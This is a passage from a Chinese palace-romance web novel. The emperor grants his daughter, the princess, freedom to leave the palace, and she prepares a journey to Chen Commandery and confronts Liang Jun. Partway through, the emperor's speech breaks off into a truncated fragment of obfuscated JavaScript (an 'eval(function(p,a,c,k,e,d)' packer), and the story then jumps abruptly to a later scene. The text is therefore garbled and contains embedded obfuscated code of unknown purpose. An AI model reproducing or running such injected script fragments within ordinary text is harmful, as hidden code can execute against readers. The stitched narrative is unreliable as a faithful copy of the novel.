想到这幅场景,翊文帝忍不住笑出声,“他向来稳重,我还是头一回见他这样。他写了个绥字递呈给我,后来召见他,他说‘绥,安且缓,他愿你永绥吉劭,也愿山河绥安’。” 原来她的小名还有这层含义。 从慈宁宫回去后,翊文帝又跟着她去长乐宫小叙片刻。 他们父女二人穿过长长走廊,又途径御花园各景,不拘任何规矩,讲些有的没的。 翊文帝问她:“晚上和段明诀出去玩的开心吗?” 沈燕栖不知道他为什么忽然提到了段明诀,只诚实地点了点头。 “今晚出去,好像又看到了雍州不一样的风景。阿诀和我说淮南易州除夕夜都要放河灯,还有舞狮表演可看,可热闹了,不仅仅是易州,幽州、衡州,崇州……各地都有各地的风土人情,可我从来没看过。” 翊文帝问:“你喜欢出去玩?” 沈燕栖轻轻“嗯”了声。 “这般的话,那父皇知道今年及笄礼该送你什么礼物了。” 说着,翊文帝从袖口里掏出一块宫牌,笑眯眯看着她道,“放心,着人跟东华门那边守卫打过招呼了,许你随时出宫。” 出宫可不是一件容易事。 要报备审批,作为深宫女眷,如果不是有正当理由,她是万万不能出宫的。 沈燕栖没想到翊文帝会给她这么一副令牌,这么一个将她视作眼珠子,恨不得时刻栓在身上保护着的男人,居然会主动给她随意出宫的自由。 她下意识问:“父皇,为何?” 翊文帝吹了吹胡子道:“皇宫里没自由,好不快乐,父皇刚当上这个皇帝的时候也浑身不自在,常常扮作宫人偷溜出去玩呢。” 沈燕栖“啊”一声,显然没想到父皇还有这叛逆期呢。 “那母后呢,她没规劝您吗?” “你母后?你以为她就是什么文静淑女了啊,她扮作丫鬟跟我一块出去玩,喝起花酒来比我还爽快。这要被现在的谢太傅知道,非得狠狠抽我们两个人一顿。” 提到往事,翊文帝脸上多了点怀念,长长叹息一声,感慨道,“终不似少年游了啊。”(1) 既提到了这个话茬,沈燕栖顺势提了下去。 “父皇,年后我想去谢家一趟。” 翊文帝愣了一下,他没问太多,只是道,“也好,多出去走动走动,日后总有个依仗。” “你也替我带份礼去吧,我没照顾好你阿娘,这些年总是没脸去。” 沈燕栖垂下睫毛,听了这话心里难受得很,当年韦氏入宫后,阿娘受的委屈是实打实的。 但翊文帝难道就没有委屈吗?他被从陈郡架着过来做这个皇帝,少年时无人悉心教导他,登基后人人却要他担起万民苍生的责任来。 人人都有太多的不如意了。 连怪,都不知道从何怪起。 “年后陈崇礼要去淮南郡任职,你跟着他的队伍一道去吧,在外诸事小心,万事不及你自身重要,知道吗?” 沈燕栖重重点了下头,她目光炯炯盯着翊文帝问,“这次出行,父皇可还有什么要交代的?” 翊文帝愣了一下,尔后慢慢道,“若你行事方便,便替我探查探查诸王近况,几地是否有动荡。” 沈燕栖应了声,表示自己记下了。 夜渐渐深了下来,屋里的蜡烛也添了两回油,翊文帝捏着额心,缓缓起身,临走前,他回过头深深望了她一眼。 感慨似的说:“承德这次回宫,父皇觉得你和从前似乎有些不一样了。” 沈燕栖愣了一下,眉心一跳,不明白,似乎又隐隐约约明白这句话的意思。 未等她问,翊文帝便已看着她温声开口,“私心里,父皇不愿意你离开皇城,外面的风雨大,总怕侵扰你。但我这些日子总是梦到你阿娘,她在时便时常跟我说,外面天地广阔,女子也能闯出一番天地来。” “所以我想,你要做什么便尽管去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我要快快准备起来了,我记得大郎君爱吃我腌的咸菜,二郎君爱那槐叶冷淘,还有娘子们……哎呀,时日太短,哪里来得及腌制,槐叶也只有往年剩的一批了。” 沈燕栖见了这幅情景,心里又是感慨,又是觉得好笑。 她连忙道:“还有段时间呢,有的是时间准备。” 崔嬷嬷已经无心听她说话了,擦了把手着急忙慌就下去准备了。 沈燕栖轻轻叹了口气,在宫里,如崔嬷嬷这般多年没归家的人,不知道该有多少。 阿娘,你会不会也想念在陈郡时的生活呢? 这次,我要回去找寻真正的你了。 动身去陈郡的那一日,东宫传来了一个大消息,那位久居不出的太子妃贺氏有孕。 此消息一出,满潮震荡。 也因为这消息,沈燕栖出发的时间被耽搁了半日,她急急赶去东宫,却被宫婢们拒之门外。 只言道太子妃不愿见人,今晨见过陛下与皇后以后便已经乏了。 沈燕栖对这位皇嫂没有太大的印象,只记得她和阿兄是指腹为婚,年纪到了成亲,可是阿兄因为年年出征,甚少和她单独在一处。 贺氏平时喜静,几乎很少出院门,和她找照面的机会也少。 她不愿见人,沈燕栖也只好传召太医问一问近况。 太医道:“太子妃已经有了四个月的身孕,目前身体尚且康健。” 沈燕栖有些惊讶地问:“四个月才来报?” 太医跪地辩解:“太子妃平时不喜见人,若非身体不适,轻易是不会召太医的。” 四个月,算来也是阿兄出征的那段时间。 沈燕栖郑重叮嘱道:“务必要照顾好她。” 这应该是阿兄留下的唯一一条血脉,也是风雨飘摇里,最后一点可见的希望。 崔嬷嬷推门而入:“公主殿下,一切都已准备妥当,可以出发了。” 沈燕栖“嗯”了声,又听崔嬷嬷迟疑着问,“您真的不等办完及笄礼再走了?这可是一件大事情啊。” “不办了,我已经和父皇言明,我身弱压不住,以后这些大典礼能少些便少些。” 她随口问,“对了,三皇兄呢?” “在冷宫的院子里练剑,公主可要去寻他?” “我寻他做什么?”沈燕栖心里还有气,一连避了十天没见他,她轻哼一声,吩咐道,“鸣玉,你去把他押过来,我要见他。” 岂料鸣玉苦着脸说:“公主……奴婢打不过他呀。” 哪里能请得过这位祖宗。 万一心情不好一剑把她咔擦了怎么办。 沈燕栖跺了下脚,干脆道,“那我自己去找他。” 冷宫的院子里,枯叶落满地,梁钧闭着眼睛在练剑,剑之所指,叶之所落,声音响起的瞬间,他挥剑砍过去。 在她喉间寸止。 见到来人,他飞快收回剑,目光淡淡看向她。 那日后宫里传言四起,说他得罪了陛下最宠爱的承德公主,又重新被赶回了冷宫。 事实也的确如此。 沈燕栖看他的目光没多少高兴,她很少露出这副冷淡的神情,目光不看向他,连说话的语气都显得生硬了几分。 “梁钧,跟我去陈郡,我还你一个真相。” “如果你拒绝,我会直接打晕你带走,谢家家规清明,我阿娘又是大乾皇后,岂能容他人随意泼脏水,这真相,就算你不要,我也一定要查清楚。” 梁钧听不见任何话。 只低头看见,她牵住了他的手。